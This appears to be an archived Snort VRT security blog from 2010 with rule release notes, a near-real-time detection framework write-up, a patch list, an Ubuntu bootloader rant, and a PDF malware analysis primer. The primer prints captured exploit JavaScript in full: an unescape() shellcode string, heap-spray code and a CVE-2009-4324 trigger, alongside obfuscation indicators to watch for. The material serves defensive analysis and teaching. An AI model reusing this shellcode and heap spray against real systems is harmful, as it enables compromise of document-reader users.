This release contains support for Snort 2.8.6.0. Additionally, new packages have been added that contain 4 digit version numbers.

New package names:
1. snortrules-snapshot-2853_s.tar.gz
2. snortrules-snapshot-2860_s.tar.gz

Details:
The packages have been updated with support for Snort 2.8.6.0. Additionally, a number of improvements have been made to the packages to help clarify which packages to use with your specific snort version.

The old package names are still available but they are now symlinked to
the new package names. The symlinks will exist for the next 30 days. This should hopefully prevent auto updaters from failing to update correctly.

Symlinks Subscriber:
1. snortrules-snapshot-2853_s.tar.gz -> snortrules-snapshot-CURRENT_s.tar.gz
2. snortrules-snapshot-2853_s.tar.gz -> snortrules-snapshot-2.8_s.tar.gz

* IMPORTANT *
The above is not a typo. The 2853 is symlinked to CURRENT and the 2.8 packages this is intentional, as to not break auto updaters that define CURRENT incorrectly.

Registered Users:
There are no new symlinks for registered users as the new packages won't be available to registered users for 30 days.

Additional Package Updates.

1. Packages are now locked to the version of snort they support. This includes sub directories in the packages. For examples the 2853 packages now only contain SO rules for 2.8.5.3.

2. Snort.conf in etc/ directory has been updated to support additional features in 2.8.5.3 and 2.8.6.0.

3. Preprocessor Rules are now contained in the package.

4. For 2.8.6.0 Sensitive data rules are contained in the package.

Not running 2.8.5.3 and downloading CURRENT / 2.8 / 2853 packages ?:

1. You will need to modify oinkmaster, pulled pork, or whatever update system you are using to remove 2.8.5.3 version specific rule keywords or snort will fail to load.

A New Detection Framework

2010-04-22T04:34:00.002-04:00

We just completed a talk here in Dubai on some detection capability research the VRT has been doing. The subtitle of the presentation, "What would you do with a pointer and a size?" pretty much sums up the potential of the project. It all started last December at the SANS IDS conference. In talking to both attendees and presenters, it became clear there was a lack of capability for high-end security and response personnel. Repeatedly we were asked about providing a greater depth of detection, dropping a file to disk for longer analysis and logging packets for an extended period of time. In short, there were solutions needed that weren't being provided.

So Patrick Mullen and I sat down and started fiddling with some ideas. I worked on deep parsing and detection on PDF files and Patrick worked on ways to provide me the full file data. Initially we had an SO rule that grabbed PDF files and called my PDF parser. We got it working, and it was pretty sexy. But it blocked the Snort process and clearly wasn't the way to go. It did, however, show that we were on to something.

Lurene, Patrick, Nigel and I then locked ourselves in a room and hammered out the initial design of what would come to be known NRT, the Near Real Time detection project. The project goals were straightforward, if not easy: Create a system that allowed arbitrary data sources to pass data to specialized detection systems and provide every scrap of data we could back to the incident response teams.

With this laid out, I got a hold of Mike Cloppert, one of the guys we had spoken to at the IDS conference. We scheduled a call with the team he works with and discussed with them what they wanted out of a detection system. At the completion of the call, we all were quite pleased. Everything they had asked for was already in the design, and quite a bit more as well. We were on the right track.

Coding began. This involved every person on the VRT and a lot of late nights. Our goal for the first phase of POC was to prove that we could use Snort as a datasource for a system that would then provide analysis out of band with network traffic and alert back into the system. At the end of a hectic month of coding (along with all of our other work) we had a static preprocessor that pulled files off the wire and passed them to a PDF detection module, a ClamAV engine and a pure logging module. The end result was the capability to thread out (non-blocking) detection of PDf files, handling the common evasion techniques for PDF files and then alert back to Snort:

04/21-11:17:58.1271873878 [**] [300:3221225473:1] URL:/wrl/first.pdf Hostname:wrl Alert Info:Probable exploit of CVE-2009-0658 (JBIG2) detected in object 8, declared as /Length 29/Filter [/FlateDecode/ASCIIHexDecode/JBIG2Decode ] [**]

{TCP} 192.168.0.1:0 -> 204.15.227.178:0
04/21-11:17:58.12718738780:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x0
192.168.0.1:0 -> 204.15.227.178:0 TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:1280
***AP*** Seq: 0x0 Ack: 0x0 Win: 0x0 TcpLen: 20
55 52 4C 3A 2F 77 72 6C 2F 66 69 72 73 74 2E 70 URL:/wrl/first.p
64 66 20 48 6F 73 74 6E 61 6D 65 3A 77 72 6C 20 df Hostname:wrl
41 6C 65 72 74 20 49 6E 66 6F 3A 50 72 6F 62 61 Alert Info:Proba
62 6C 65 20 65 78 70 6C 6F 69 74 20 6F 66 20 43 ble exploit of C
56 45 2D 32 30 30 39 2D 30 36 35 38 20 28 4A 42 VE-2009-0658 (JB
49 47 32 29 20 64 65 74 65 63 74 65 64 20 69 6E IG2) detected in
20 6F 62 6A 65 63 74 20 38 2C 20 64 65 63 6C 61 object 8, decla
72 65 64 20 61 73 20 2F 4C 65 6E 67 74 68 20 32 red as /Length 2
39 2F 46 69 6C 74 65 72 20 5B 2F 46 6C 61 74 65 9/Filter [/Flate
44 65 63 6F 64 65 2F 41 53 43 49 49 48 65 78 44 Decode/ASCIIHexD
65 63 6F 64 65 2F 4A 42 49 47 32 44 65 63 6F 64 ecode/JBIG2Decod
65 20 5D 20 e ]

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Detection was extremely accurate and specific to the triggering condition of the vulnerability. The PDF parser inflated the JBIG2 stream, handled any encoding and then looked at the specific conditions required to exploit the reader. It fully detects attacks generated by the Metasploit framework. In fact, it was good enough to uncover a bug in the Metasploit JBIG2 module which has now been fixed. By allowing additional detection, above what is done by the Snort engine now, to occur outside of the packet stream, we are able to provide much more data back to the user. Which got us to thinking about Javascript...

Anyone who has looked at Javascript data associated with exploits knows that there are often long, random names assigned to variables. We decided to check for that by jamming all of the variable names together and then doing an entropy check. If the variable was too random, we'd alert. For example, one attack file, when taking all the JavaScript variables and putting them together, we get:

EvctenMNtrWDQVBKGrwGxrxKfMiZoYziRxAFEfjMdXRzjGNqVZYEAqogviSvzHpGpCkihcVtXRWcHphvhAnPOXnrxmTXJEUIkcYzelWZUCuIyKArtJvcEQXzUjHEzuSjGEJugOyFQnaSplNWwQsqOoV

Which in turn, leads the NRT to fire:

[**] [300:2147483653:1] URL:/wrl/first.pdf Hostname:wrl Alert Info:The JavaScript variables in object 6, declared as /Length 5994/Filter [/FlateDecode/ASCIIHexDecode ] , show a high degree of entropy [**]

We were in detection nirvana. Anything we wanted to do, know matter how much processor it took, was available to us.

While sitting in Dubai on day one of HitB, Lurene came up with an idea of how to analyze unescaped data to find shellcode. The process went like this: Grab the PDF off the wire, inflate the JavaScript object, determine that it is JavaScript, normalize the unescape() calls and pass the data to a custom nugget written by Lurene. This nugget then uses heuristics to discover the encoder type, decodes the shellcode and then returns data about the shellcode found. The result:

[**] [300:3221225482:1] URL:/wrl/first.pdf Hostname:wrl Alert Info:Reverse TCP connectback shellcode detected. Connecting to 10.4.4.10 on port 4444 [**]

This data didn't come from seeing data to port 4444 on host 10.4.4.10, it came from interpreting shellcode that was unescaped in a compressed object in a PDF that we pulled off the wire. OK...so we're excited.

But this system had to be open and it had to be extensible. It had to be flexible and it had to be verbose in its logging. So here is what we came up with:

THE DISPATCHER

This component is the heart of the system. It handles data sources and detection nuggets. It manages a central database of all known good and known bad files and URLs. Additionally, it keeps track of known good and bad sub-components (JS in PDF, for example), so that detection speed is improved and so that we can alert on data subsequently found to be bad. Finally it creates a complete log of detection by writing out not just the original file, but also the normalized versions of the segment of code that creates the alerts.

THE DATA HANDLER

We want to be able to provide data into the system from any arbitrary location. Capture a file off the wire with Snort, grab the file via a Milter, pass the file into the system from ClamAV or just hook on-open on a windows system and pass it to the system? All of that should be handled and available through an API.

THE DETECTION NUGGET

For any given data handler one or more nuggets should be available. The nuggets should be able to pass data to other nuggets. For example, a PDF nugget that finds embedded JavaScript data should be able to pass just that block into a Javascript system.

THE VISION

Snort registers with the Dispatcher as a Data Handler. The Nugget Farm is populated by both a PDF and a JavaScript nugget. Snort grabs the file and sends it to the PDF nugget. The PDF parser finds the JavaScript block and sends it to the JavaScript nugget. When the JavaScript nugget alerts, it sends the normalized data back to the Dispatcher. When the PDF file alerts on the JBIG section it sends the data in the JBIG section as well as the entire file back to the Dispatcher. The dispatcher writes each section and the associated alerts to disk in addition to the full file. Finally it alerts into the Snort system.

There are more details, such as how we alert back in time (no sonic screwdriver required). But we'll get to that. For now we want to see what you would do if we handled you a pointer and a size. So we've put up some rough (very rough) POC code at http://labs.snort.org. Review the code in src/preprocessor/nrt_* to see what we're up to. Modeling that code you should be able to write your own C code to do detection against files pulled by the system.

We've got a long way to go, with a ton of research in front of us. There is no time-line for full release, but we're interested in seeing what you come up with. As we create additional documentation and nail down more functionality, we'll continue updating the code. Keep an eye on labs and the VRT blog for updates. In the meantime, go poke around and let us know what you come up with.

Code & Dubai Presentation available at:
http://labs.snort.org/nrt

Rule release for today, Thursday April 15th, 2010

2010-04-15T14:59:00.000-04:00

Maintenance release, a few new rules and modifications to existing ones.

Check here for details.

April 2010 Vulnerability Report

2010-04-13T16:52:00.002-04:00

Rule release for today, Tuesday April 13th, 2010

2010-04-13T16:23:00.000-04:00

Microsoft Tuesday and Adobe Quarterly Patch. Details available here.

Microsoft Security Advisory (MS10-019):
The Microsoft CAB Subject Interface Package (SIP) implementation contains a programming error that may allow a remote attacker to bypass the authentication mechanism.

Microsoft Security Advisory (MS10-020):
The Microsoft implementation of the SMB protocol contains programming errors that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory (MS10-023):
Microsoft Publisher contains a programming error that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory (MS10-024):
The Microsoft SMTP service is prone to a Denial of Service condition that may be triggered by a remote attacker.

Microsoft Security Advisory (MS10-025):
The Microsoft Windows Media Service suffers from a programming error that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory (MS10-026):
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory (MS10-027):
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system via an ActiveX control.

Microsoft Security Advisory (MS10-028):
Microsoft Visio suffers from programming errors that may allow a remote attacker to execute code on an affected system.

Microsoft Security Advisory (MS10-029):
The Microsoft implementation of IPv6 contains a programming error that may allow a remote attacker to spoof connections to an affected host.

Rule release for today, Thursday April 8th, 2010

2010-04-08T17:47:00.000-04:00

Mostly some small fixes, couple of reference changes and some new rules.

Check it out here

WTF, Ubuntu?

2010-04-07T20:11:00.000-04:00

I just finished installing Ubuntu 9.10 server edition on a shiny new Dell PowerEdge R805 box, as part of expanding our malware analysis labs. No big deal - half an hour of babysitting an installer, right?

Wrong.

It took me 5 hours, thanks to some really stupid decisions made by the Ubunutu team surrounding perhaps the most vital part of the installation process: the bootloader.

The actual install itself was nice and easy, just like I've come to expect out of the Ubuntu folks: sane defaults, good explanations when I had to make a relevant choice, and generally minimal requirements for interactivity. Anybody with even the most basic computer experience could fumble their way through it. After finishing, I took my CD out, rebooted...and suddenly found myself at a Busybox shell with a note about GRUB being unable to find the root filesystem.

I figured I'd done something really retarded, because in all of the years I've been installing *NIX operating systems, I've only had one other bootloader failure - an OpenBSD "Bad Magic" issue when I was swapping out hard drives that made immediate sense once I did two seconds worth of Googling, and that yielded a fun little picture in the process. So I sat down, thought for a second, and then realized I'd installed the 32-bit version of Ubunutu on a box with 8GB of RAM and a terabyte worth of hard drive - which sure seemed like a good reason for the OS to not be seeing the drive properly.

So I headed back to my desk, burned a copy of the 64-bit version, reinstalled, and got...the exact same Busybox shell. Damnit!

A quick bit of Googling seemed to suggest that there were issues with GRUB recognizing really big disks. Since I'd just used the whole drive with Ubuntu's guided LVM setup, I figured that either my /boot partition was way off past the end of where GRUB could read, or that my / partition was just too big for it to handle. That's what I get for being lazy, I figured, and headed back into installer land, this time manually partitioning things so that /boot was at the very start of the drive, / was 50GB, and /var took up the rest of the space. Another 30-minute installation later, I rebooted, figuring I'd be all set.

Not so much.

Confused, I followed the suggestion at the Busybox shell and did a "cat /proc/modules". Sure enough, mptbase, mptsas, and scsi_transport_sas were all loaded - exactly the modules I needed to be able to see this SAS/MPT BIOS controller. /dev/sda* existed, and inspecting /boot/grub/grub.cfg (side note: Linux people, can we *please* agree on one frikkin' extension for config files?) showed that my root device was set properly. What the hell?

Getting desperate, I spent some substantial time scouring the web for answers. It seems that a number of people have had problems installing various versions of Ubuntu on the R805 boxes - but in classic Linux style, any time someone popped onto a forum or a mailing list asking how to fix boot issues with this hardware, the thread ended with some variant of "Hey, I figured it out! Thanks guys!", and NO GODDAMNED DESCRIPTION OF HOW THEY FIXED THE PROBLEM. Seriously, people, it takes like two minutes to explain the fix, and it will save countless people countless hours of pain if you just make sure your solution is archived somewhere on the web.

After trying a whole host of possible fixes - setting the SAS controller to be visible to "BIOS only" instead of "BIOS & OS", telling the CD installer to boot off the first hard drive, etc. - I ran across this little nugget of wisdom, which suggested that I set my "rootdelay" value to 35 to give the SAS adapter time to initialize.

Aha! That made perfect sense, I figured. After all, this entire process had been further aggravated by the 30 seconds or so it takes the Dell SAS controller to initialize on each boot (seriously, people, how does it take a hard disk controller 30 f'ing seconds to initialize on a machine with 8 2.5GHz cores?); why wouldn't it want to waste another 30 seconds of my life re-initializing after the operating system loaded?

Optimistic about my prospects for success, I rebooted yet again, held down shift like the article suggested...and got no GRUB menu. I tried again with "e" (which I vaguely remembered using on some other bootloader in years gone by), and again with "Esc". The third time being a charm, I decided to brute-force the issue, popped the installer disc back in the drive, and chose "Rescue Broken System" from the menu.

This is where I started to realize how broken Ubuntu's installation has become.

At first, I thought I'd accidentally chosen "Install Ubuntu" from the menu, because the system proceeded along all of the same steps as a regular install. It even went to the trouble of finding my network hardware, having me choose an interface to do DHCP on, and set a hostname. Seriously, guys, I promise I don't need a fully functional network just to go touch my bootloader, repair a broken partition, or, you know, do anything else that would require me to use a CD to boot. You're just wasting my time.

Once I finally got my shell and headed on over to edit /boot/grub/grub.cfg, I realized the reason I could't get into the GRUB menu: the default timeout value had been set to "-1", i.e. "don't wait at all". Gee, guys, that makes so much sense - because, you know, no one will ever need to edit their GRUB config on the fly! That, and setting a delay of 1 second would just be too much hassle for people trying to boot up nice and fast on their shiny new servers with the 90-second delay to get into the bootloader.

With the delay fixed and GRUB reinstalled, I booted up again, and this time actually got to the GRUB menu. Much to my horror, the banner on the top read:

"GRUB version 1.97~beta4"

Really, Ubuntu? Seriously? You're going to put a beta version of a bootloader on the production release of a server operating system? What cutting-edge boot-loading feature could you possibly need that you couldn't use a release version of GRUB?

Cursing the Ubuntu developers under my breath, I added the rootdelay value, hit Ctrl-x to boot, waited...and had a fully operational operating system in under a minute! Hallelujah!

Convinced that I was done, I added the rootdelay value to /boot/grub/grub.cfg, ran "update-grub" as root to make the changes permanent, and rebooted one last time, just to be sure. It's a good thing I did, too, because MY CHANGES WEREN'T SAVED, and I ended right back up at my Busybox shell. I had to go in through the rescue option on the installer CD, make my changes there, and update GRUB from my CD just to get the changes to stick.

With all of the effort the Ubuntu people put into making their installation simple, you'd think they could have gone to the trouble of setting the "rootdelay" variable to a higher value when they saw a SAS card that they probably know takes forever to initialize. Really, would that be so hard, guys?

Matt's Primer for PDF Analysis

2010-04-05T15:00:00.006-04:00

For obvious reasons, the VRT has been spending a lot of time on the PDF format lately. While the attack researchers have been concentrating on fuzzing, reverse engineering and data flow analysis, the defense researchers have been automating the backend analysis of PDF submissions. As part of this effort, we've had to do a very deep dive on the PDF format. I thought it might be useful to share some of what we're seeing come in our data feeds, and what you should look for when reviewing PDF files.

So let's start with the first structure you have to understand, the obj structure. For the moment, most everything you really are going to worry about occurs in association with either the obj tags or Javascript. Here is the obj tag format:

[objnum] [genid] obj (value) endobj

Obj tags declare what sort of data is in this section of the file. They should be pretty straight forward:

4 0 obj.<< /Length 5 0 R /Filter /FlateDecode >> stream (Ton of data...) endstream endobj 5 0 obj 185 endobj

The first object above is object number 4 with a genid of 0. Note that the combination of the object number and gen id are a unique identifier within the PDF spec. While I haven't seen an example with multiple objnums and genids, I wouldn't put it past someone to give it a shot. Inside the << >> is a definition of what it is that this object holds. The object in question is FlateDecoded stream. It also has a relative reference that you have to understand. The “/Length” field declares the length of the stream data. In this case, that value is contained in object number 5. We know this because of the “ R” structure immediately following the “/Length” tag.

This seems simple, but Adobe has to support extended characters for the various languages around the world. To support this, they provided the option to ASCII hex encode fields within the PDF document. This is done by placing the ASCII hexadecimal value for the character you are representing immediately after a “#” character. So the letter “A” can be represented as #41.

So attackers use this feature to obscure the feature calls so you can’t look specifically object tags like JBIG2 or JavaScript tags. So the following object string:

/Type/Action/S/JavaScript/JS 6 0 R

Could be represented as:

/Typ#65/#41#63t#69#6fn/S/#4a#61#76a#53cript/J#53 6 0 R

You can use Didier Stevens’ pdf-parser.py script to deobfuscated object tags with ASCII hex encoding. So the file we’re looking at has the following deobfuscated lines:

(obj 1) /Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R
(obj 2) /Type/Outlines/Count 0
(obj 3)/Type/Pages/Kids[4 0 R]/Count 1
(obj 4) /Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]
(obj 5) /Type/Action/S/JavaScript/JS 6 0 R
(obj 6) /Length 2008/Filter[/FlateDecode/ASCIIHexDecode]

Besides the obfuscation, the OpenAction->Javascript->FlateDecode sequence should immediately concern you. The OpenAction declaration in the object tag means that the associated data should immediately be executed. In this case it is a relative reference to object 5. Object 5 in turn declares the data as JavaScript and points to object 6. Object 6 is a deflated stream of data, which gives us a new obstacle to deal with.

So object 6 looks like this:

00000190  3E 65 6E 64 6F 62 6A 0D 0A 36 20 30 20 6F 62 6A <endobj..6 0 obj
000001A0  3C 3C 2F 4C 23 36 35 6E 23 36 37 23 37 34 68 20 <</L#65n#67#74h 
000001B0  32 30 30 38 2F 23 34 36 69 6C 23 37 34 65 23 37 2008/#46il#74e#7
000001C0  32 5B 2F 23 34 36 6C 23 36 31 74 65 44 23 36 35 2[/#46l#61teD#65
000001D0  63 23 36 66 64 65 2F 23 34 31 53 23 34 33 23 34 c#6fde/#41S#43#4
000001E0  39 23 34 39 23 34 38 65 23 37 38 23 34 34 23 36 9#49#48e#78#44#6
000001F0  35 23 36 33 23 36 66 23 36 34 23 36 35 5D 3E 3E 5#63#6f#64#65]>>
00000200  0D 0A 73 74 72 65 61 6D 0D 0A 78 9C 7D 59 6D 92 ..stream..x.}Ym.
00000210  EB 36 0C BB 8A 8E 60 EB D3 FE D3 BB 64 B3 DB FB .6....`.....d...
00000220  1F A1 24 01 52 92 93 E9 4C 37 4D 64 89 22 41 10 ..$.R...L7Md."A.
00000230  94 F5 8E 57 1A 3D F5 33 8D 9C 52 CA 87 7C D4 7F ...W.=.3..R..|..
00000240  E5 A3 BF E5 CB 4B BE B4 91 9A 3C EA FA 57 75 6E .....K....>..Wun
00000250  C2 47 6F FA 4D 3F 64 B1 4D 4B FD 4E AD CA B2 92 .Go.M?d.MK.N....
00000260  FA 0B 13 C6 0D 2B 3A 3C C4 76 BF 6C 48 0D A6 21 .....+:>.v.lH..!

Etc…..

Using Didier Stevens’ pdf-parser, we can get an inflated view of object 6 we can inflate object 6 by using the following arguments:

[kpyke@segfault]$./pdf-parser.py -o6 -f bad.pdf

Let’s take the output one block at a time. Looking at this, your first thought is probably "What the hell is with that variable name?". This is a common JavaScript obfuscation technique. By randomizing the variable names, it is difficult for IDS/AV systems to target them with set signatures. It is definitely a sign that this file is jacked.

The first variable puts the shellcode into memory:

var OlJWRbdvveuaWiTCjeyJTphyRwPgnwjlnPwhiTXRqYmV = unescape("%uc931%u89bf%ucf5a%ub1ac%udb48%ud9ca%u2474%u5af4%uea83%u31fc%u0d7a%u7a03%ue20d%ua67c%u2527%u577e%u56b8%ub2f7%u4489%ub663%u58b8%u9ae0%u1230%u0ea4%u56c2%u2060%udc63%u0f56%ud074%uc356%u72b6%u1e2a%u54eb%ud113%u95fe%u0c54%uc4f0%u5a0d%uf8a3%u1e3a%uf878%u14ec%u82c0%ueb89%u38b5%u3b90%u3665%ua3da%u100d%ud2fa%u42c2%u9dc6%ub06f%u1fbd%u88a6%u2e3e%u4786%u9e01%u990b%u1946%uecf4%u59bc%uf689%u2307%u7255%u8395%u241e%u357d%ub3f2%u39f6%ub0bf%u5e50%u143e%u5aeb%u9bcb%ueb3b%ubf8f%ub79f%ua154%u1d86%ude3a%ufad8%u7ae3%ue993%ufdf0%u67fe%u8f06%uc185%u8f08%u6185%ube61%uee0e%u3ff6%u4ac5%u0a08%ufa47%ud381%ube12%ue3cf%ufdc9%u67e9%u7dfb%u770e%u788e%u3f4a%uf163%uaac3%ua683%ufee4%u25e0%u2f7f%ucd83%u0f1a%u4d64%u21c5%ue51f%ucb25%u60ac%u1354%u0e3f%u32ec%ua0cc%uda60%u355b%u4959%uc1fe%ue2f8%u4670%u6d94%ub604%u2f45%uf2a0%u89b9%udb0e%ub0d7%u3b3a%u5444%u5aa1%ucdf8%uf257%u6275%u4db7%uef12%u23de%u9cb3%uce54%u1722%u5cfb%uf7d6%uc46e%u996c%u7603%u36e1%u028a%ue7d9%uaf0d%uf85d");

The second block of code sets up the heap spray and adjust the

<var WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT = unescape("%u41b1%u483f");
while(WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT.length >= 32768) WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT+=WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT;WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT=WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT.substring(0,32768 - OlJWRbdvveuaWiTCjeyJTphyRwPgnwjlnPwhiTXRqYmV.length);
memory=new Array();

for(i=0;i<0x2000;i++) {
     memory[i]= WmBcOiflJCZIlBHlQMYvLqUsYVqUOiZajvemAdT + OlJWRbdvveuaWiTCjeyJTphyRwPgnwjlnPwhiTXRqYmV;

The final block is the vulnerability triggering condition. In this case, it is an exploit of the media.newPlayer vulnerability in Adobe Reader (CVE-2009-4324):

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

So to recap, important things to know about PDFs, just to get started:

ASCII hex encoding, particularly alternating between non-encoded and encoded characters, should raise red flags.
The OpenAction tag should get your attention, but it does exist in valid documents.
You need to get out there and check out JavaScript obfuscation, although you should certainly be able to just point to the block and go "I don't know what the hell that is, but it ain't right".
In particular, look for the following JS obfuscation keywords:
- unescape
- syncAnnotScan
- getAnnots
- replace
In particular, look for the following JS obfuscation techniques:
- Renaming functions and then calling the new name
- Providing blocks of ASCII hex encoded data separated by a single character and then replacing that char with a "%", then using that block as an unescape.
- Randomized variable strings
4 & 5 aren't even close to an exhaustive list.
Track the work of Didier Stevens:
- Go here: http://blog.didierstevens.com/programs/pdf-tools/
- And then keep going here: http://blog.didierstevens.com/
- And follow : http://twitter.com/didierstevens
Most of the bad stuff you'll see will look wrong right out of the box. Trust your instincts.